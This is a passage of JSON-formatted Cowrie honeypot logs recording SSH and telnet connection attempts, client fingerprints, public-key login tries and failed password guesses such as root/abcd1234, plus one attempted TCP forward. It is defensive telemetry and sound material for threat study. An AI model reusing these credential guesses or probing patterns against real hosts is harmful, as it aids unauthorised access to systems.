{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:42:32.916084Z","src_ip":"87.251.64.176","session":"3024e48275fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:42:33.016790Z","src_ip":"87.251.64.176","session":"3024e48275fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":63024,"dst_ip":"10.17.0.5","dst_port":23,"session":"e94ecec63e78","protocol":"telnet","message":"New connection: 212.55.149.117:63024 (10.17.0.5:23) [session: e94ecec63e78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:42:34.492010Z"}
{"eventid":"cowrie.session.closed","duration":63.47726631164551,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:43:01.626552Z","src_ip":"212.55.149.117","session":"2795f4b7f1e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":59226,"dst_ip":"10.17.0.5","dst_port":22,"session":"95ef023dc7a0","protocol":"ssh","message":"New connection: 193.32.162.145:59226 (10.17.0.5:22) [session: 95ef023dc7a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:43:17.228445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:43:17.233598Z","src_ip":"193.32.162.145","session":"95ef023dc7a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:43:17.363458Z","src_ip":"193.32.162.145","session":"95ef023dc7a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"geyser","password":"geyser","message":"login attempt [geyser/geyser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:43:17.710824Z","src_ip":"193.32.162.145","session":"95ef023dc7a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.3452250957489,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:43:18.354836Z","src_ip":"212.55.149.117","session":"346c9d8d7af1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:43:18.819180Z","src_ip":"193.32.162.145","session":"95ef023dc7a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":47688,"dst_ip":"10.17.0.5","dst_port":22,"session":"37d86e1f1d5e","protocol":"ssh","message":"New connection: 103.15.226.202:47688 (10.17.0.5:22) [session: 37d86e1f1d5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:43:37.411170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:43:37.415718Z","src_ip":"103.15.226.202","session":"37d86e1f1d5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:43:37.669708Z","src_ip":"103.15.226.202","session":"37d86e1f1d5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:43:38.429513Z","src_ip":"103.15.226.202","session":"37d86e1f1d5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:43:39.681008Z","src_ip":"103.15.226.202","session":"37d86e1f1d5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.219.48.16","src_port":43156,"dst_ip":"159.203.135.109","dst_port":23,"session":"34af4d6f78f6","protocol":"telnet","message":"New connection: 190.219.48.16:43156 (159.203.135.109:23) [session: 34af4d6f78f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:43:40.909963Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.57.63","src_port":56822,"dst_ip":"159.203.135.109","dst_port":23,"session":"e549481da1ae","protocol":"telnet","message":"New connection: 199.103.57.63:56822 (159.203.135.109:23) [session: e549481da1ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:43:45.311599Z"}
{"eventid":"cowrie.session.closed","duration":13.918617248535156,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:43:54.828477Z","src_ip":"190.219.48.16","session":"34af4d6f78f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.32407522201538,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:44:23.635555Z","src_ip":"199.103.57.63","session":"e549481da1ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.178.7.34","src_port":57592,"dst_ip":"10.17.0.5","dst_port":22,"session":"345973ad5789","protocol":"ssh","message":"New connection: 108.178.7.34:57592 (10.17.0.5:22) [session: 345973ad5789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:44:23.976617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:44:23.981445Z","src_ip":"108.178.7.34","session":"345973ad5789","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:44:24.018352Z","src_ip":"108.178.7.34","session":"345973ad5789","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"32:7c:01:cc:74:f0:fd:17:65:6a:dc:34:98:e6:38:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGh/kFAnjC/ugb5AU4s2dtlXeGwJxPm5XomE6Jwu6/OXPQ4uilbqEnDhT9O3pg1xn3gSkSEov2jWp18SpWDvcnLClTyq++J1C0hBmzm//FDEx8rWUEPTz2UWeJuFLZ/8HYtHsxz8j2mEncyDh3ojny0th2uYu5hEb88yYin0hSrT1Kt1PL10MqWHPl1ngk54glRMZQuPQ/Ah2foomS/G/wKjYByl62TxQGEnC+MOcZZmbw8hwjmUL/64KruMzundMJ47zyjSk4yY5NDWZ5nkDnoyLpnosHk99L2Segg5Y+r3HbZqKNomCFT6vA5pLwLrLRAIytXbj7QKogdN8rZD7/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 32:7c:01:cc:74:f0:fd:17:65:6a:dc:34:98:e6:38:d1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:44:24.138769Z","src_ip":"108.178.7.34","session":"345973ad5789","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"32:7c:01:cc:74:f0:fd:17:65:6a:dc:34:98:e6:38:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGh/kFAnjC/ugb5AU4s2dtlXeGwJxPm5XomE6Jwu6/OXPQ4uilbqEnDhT9O3pg1xn3gSkSEov2jWp18SpWDvcnLClTyq++J1C0hBmzm//FDEx8rWUEPTz2UWeJuFLZ/8HYtHsxz8j2mEncyDh3ojny0th2uYu5hEb88yYin0hSrT1Kt1PL10MqWHPl1ngk54glRMZQuPQ/Ah2foomS/G/wKjYByl62TxQGEnC+MOcZZmbw8hwjmUL/64KruMzundMJ47zyjSk4yY5NDWZ5nkDnoyLpnosHk99L2Segg5Y+r3HbZqKNomCFT6vA5pLwLrLRAIytXbj7QKogdN8rZD7/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:44:24.142611Z","src_ip":"108.178.7.34","session":"345973ad5789","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:7b:3d:aa:22:7a:0a:0b:21:b5:dd:2a:6d:6e:af:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3rJAUUOwBLgolzSCr6BxH+/7qeOBKJiei24SllH3xHhk7Snee4KKCIdJav8RvVx98eEYNifcP5Yo++9ROvG2Ae16FBApT/W3z3AhMR23SNepGAYeehhnwI0otjJC50RRFQaOcdft7+GWNKr5sdVuyCAo3gXRGF9cNldKtOJJn779XVks5uEFMftYsRac3ZG2rW8bKROBMKi8RKlwaGpw8r+s77s+SlzrY9DQQuqLfVQLjMZPR8oOXOyM90G75HIBu5iPHZF7hoLsybtg0P+OTvHknLJuYyTKqTOv2UYQS9pjpvlPcpRKCn9ncU9Y96jzd37sfm5LgLCCDHNAbuYvlQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ea:7b:3d:aa:22:7a:0a:0b:21:b5:dd:2a:6d:6e:af:ad","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:44:24.174240Z","src_ip":"108.178.7.34","session":"345973ad5789","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:7b:3d:aa:22:7a:0a:0b:21:b5:dd:2a:6d:6e:af:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3rJAUUOwBLgolzSCr6BxH+/7qeOBKJiei24SllH3xHhk7Snee4KKCIdJav8RvVx98eEYNifcP5Yo++9ROvG2Ae16FBApT/W3z3AhMR23SNepGAYeehhnwI0otjJC50RRFQaOcdft7+GWNKr5sdVuyCAo3gXRGF9cNldKtOJJn779XVks5uEFMftYsRac3ZG2rW8bKROBMKi8RKlwaGpw8r+s77s+SlzrY9DQQuqLfVQLjMZPR8oOXOyM90G75HIBu5iPHZF7hoLsybtg0P+OTvHknLJuYyTKqTOv2UYQS9pjpvlPcpRKCn9ncU9Y96jzd37sfm5LgLCCDHNAbuYvlQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:44:24.178841Z","src_ip":"108.178.7.34","session":"345973ad5789","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"29:9f:38:64:ba:e6:2e:98:eb:2b:f4:3d:b6:71:c4:56","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1OSukN4Q44F3Q9jUlWcxuY4xigpW0Fxp1tMBJOoDH9RKI+HYsnrjtjxNQ4Q95Xg7uogTalNmvsIfA6W/E4Dq0/crl6KwDtv47T2QKWo9YaFRWtwHHy+uXnwsLt1hJ6NclOGVDFRpCe37YB4J8v2T6wEV5k9LcSYO/2E2HK/Rtq/KIIeJKBIAUGwnhetZerQx4zUb1NjG/AKjmqKeRkdW+VOKBtw7zWapS5/+O9dMBC76Hqb8h4IxYQPNBJ/tQC5CfKz/pXg+ltxXKuMukZL9y5Pwp6A3K4FlAHfp+2ucjn+qdOkM/OxPg0TLzRhVe+m3QDDBEMnZPQhpXtq5PizZF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 29:9f:38:64:ba:e6:2e:98:eb:2b:f4:3d:b6:71:c4:56","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:44:24.212689Z","src_ip":"108.178.7.34","session":"345973ad5789","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"29:9f:38:64:ba:e6:2e:98:eb:2b:f4:3d:b6:71:c4:56","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1OSukN4Q44F3Q9jUlWcxuY4xigpW0Fxp1tMBJOoDH9RKI+HYsnrjtjxNQ4Q95Xg7uogTalNmvsIfA6W/E4Dq0/crl6KwDtv47T2QKWo9YaFRWtwHHy+uXnwsLt1hJ6NclOGVDFRpCe37YB4J8v2T6wEV5k9LcSYO/2E2HK/Rtq/KIIeJKBIAUGwnhetZerQx4zUb1NjG/AKjmqKeRkdW+VOKBtw7zWapS5/+O9dMBC76Hqb8h4IxYQPNBJ/tQC5CfKz/pXg+ltxXKuMukZL9y5Pwp6A3K4FlAHfp+2ucjn+qdOkM/OxPg0TLzRhVe+m3QDDBEMnZPQhpXtq5PizZF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:44:24.218162Z","src_ip":"108.178.7.34","session":"345973ad5789","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"34:69:0d:71:ec:26:80:6d:48:4c:14:dd:54:2a:c5:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA7gKpEFqRP+2A3FmzOZdryibQSDa9VNQAzCO/Md0BPVJ4ICpS24n7Mm71eXay3bErH4VQEBhWMYJXQsNT9tkaQonbYzQUcZ503Znznw9eVX60TCnBr0ditKV8oT+yB05B4AQKbLbd669TLEezLxDxRTfukINN9GAg6BRGbS3lcRm0X1ljO0PBj8ndLy8ZpR9XJ3pvfuSEluVkxnPL5fGch2UEFr0lkJFgRkgQk2yJWjNWNCpHzjrXy53hi8crYY9nskKaHQEO5lHadwEvss7TxpXuakRWPAsCuRIUZ8/wq7IF2AXGs4+DEAEzV8RAkd/BmglTe2y86hPsq1A3vpuOsw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 34:69:0d:71:ec:26:80:6d:48:4c:14:dd:54:2a:c5:6a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:44:24.249790Z","src_ip":"108.178.7.34","session":"345973ad5789","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"34:69:0d:71:ec:26:80:6d:48:4c:14:dd:54:2a:c5:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA7gKpEFqRP+2A3FmzOZdryibQSDa9VNQAzCO/Md0BPVJ4ICpS24n7Mm71eXay3bErH4VQEBhWMYJXQsNT9tkaQonbYzQUcZ503Znznw9eVX60TCnBr0ditKV8oT+yB05B4AQKbLbd669TLEezLxDxRTfukINN9GAg6BRGbS3lcRm0X1ljO0PBj8ndLy8ZpR9XJ3pvfuSEluVkxnPL5fGch2UEFr0lkJFgRkgQk2yJWjNWNCpHzjrXy53hi8crYY9nskKaHQEO5lHadwEvss7TxpXuakRWPAsCuRIUZ8/wq7IF2AXGs4+DEAEzV8RAkd/BmglTe2y86hPsq1A3vpuOsw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:44:24.253826Z","src_ip":"108.178.7.34","session":"345973ad5789","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d0:b2:af:58:67:3b:f6:85:b1:16:ad:5a:85:05:ac:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEApY7ReScB1+k2g0zGAahLDJzC8+370bRDm3HfYz10NzHr5JdLZua1j0P462GnIoEFQFmhS3LVqFSt2F6TZVWihODMjsE8M6a8xuo48BKqYVtXakix2ng0NNz4kn+xYOyMZWPP087aOGRLj4nbnYAmuXkqCiCGggkXw4MZIQWVbbhy9sBRy6tLbiwgaOvLgL35zjtrs1dxhceehI14GXmL2lFwxu/H5Zic8p1M78KI4uOBCBTQ4mqnzixR3JwuQNpCV+qMmpqaen+8RBjwnCLL9aNEu5GeXsRikZ1cEkFn6saH5+pwKPb7mDsoQv3tKsew54xMxXLg7PQV5iGhCOYig56iMHqw1YG0ukW8wxqFM4opCRe/10E1yOizKMJ5XpvH0TKCJCCpEpSnQm5AqiJhs2u1SxFSdSmvRF/HWSqW6aaPMewGd4d1YM4G2yD9QW8sxASghvOAUVkIJff2PRYBikRpLdbxJFZcXG9MaR/m8NJ5MwIKlNBK0DJe74zbUI7PpMRZv7y/tJ7J6JHOHLCVj0iWvsyVfXfBmxubkBSZ30tSq0276jQe81OEFYh/nHM2/9U4+OtiKN39detZ3er4u+T7ieuD5C1sVbyfHHHToXQYOX5sbD2BgB91icH6Osybh5Dvtc6V35ow4YI8Kqy5W7NqfocP6DMvqtMGqriF3xE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d0:b2:af:58:67:3b:f6:85:b1:16:ad:5a:85:05:ac:81","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:44:24.285351Z","src_ip":"108.178.7.34","session":"345973ad5789","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d0:b2:af:58:67:3b:f6:85:b1:16:ad:5a:85:05:ac:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEApY7ReScB1+k2g0zGAahLDJzC8+370bRDm3HfYz10NzHr5JdLZua1j0P462GnIoEFQFmhS3LVqFSt2F6TZVWihODMjsE8M6a8xuo48BKqYVtXakix2ng0NNz4kn+xYOyMZWPP087aOGRLj4nbnYAmuXkqCiCGggkXw4MZIQWVbbhy9sBRy6tLbiwgaOvLgL35zjtrs1dxhceehI14GXmL2lFwxu/H5Zic8p1M78KI4uOBCBTQ4mqnzixR3JwuQNpCV+qMmpqaen+8RBjwnCLL9aNEu5GeXsRikZ1cEkFn6saH5+pwKPb7mDsoQv3tKsew54xMxXLg7PQV5iGhCOYig56iMHqw1YG0ukW8wxqFM4opCRe/10E1yOizKMJ5XpvH0TKCJCCpEpSnQm5AqiJhs2u1SxFSdSmvRF/HWSqW6aaPMewGd4d1YM4G2yD9QW8sxASghvOAUVkIJff2PRYBikRpLdbxJFZcXG9MaR/m8NJ5MwIKlNBK0DJe74zbUI7PpMRZv7y/tJ7J6JHOHLCVj0iWvsyVfXfBmxubkBSZ30tSq0276jQe81OEFYh/nHM2/9U4+OtiKN39detZ3er4u+T7ieuD5C1sVbyfHHHToXQYOX5sbD2BgB91icH6Osybh5Dvtc6V35ow4YI8Kqy5W7NqfocP6DMvqtMGqriF3xE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:44:24.289104Z","src_ip":"108.178.7.34","session":"345973ad5789","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:44:24.324499Z","src_ip":"108.178.7.34","session":"345973ad5789","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01165771484375,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:44:34.503567Z","src_ip":"212.55.149.117","session":"e94ecec63e78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.37.117.16","src_port":25424,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b6a50c5844a","protocol":"ssh","message":"New connection: 89.37.117.16:25424 (10.17.0.5:22) [session: 1b6a50c5844a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:44:51.342766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:44:51.347657Z","src_ip":"89.37.117.16","session":"1b6a50c5844a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-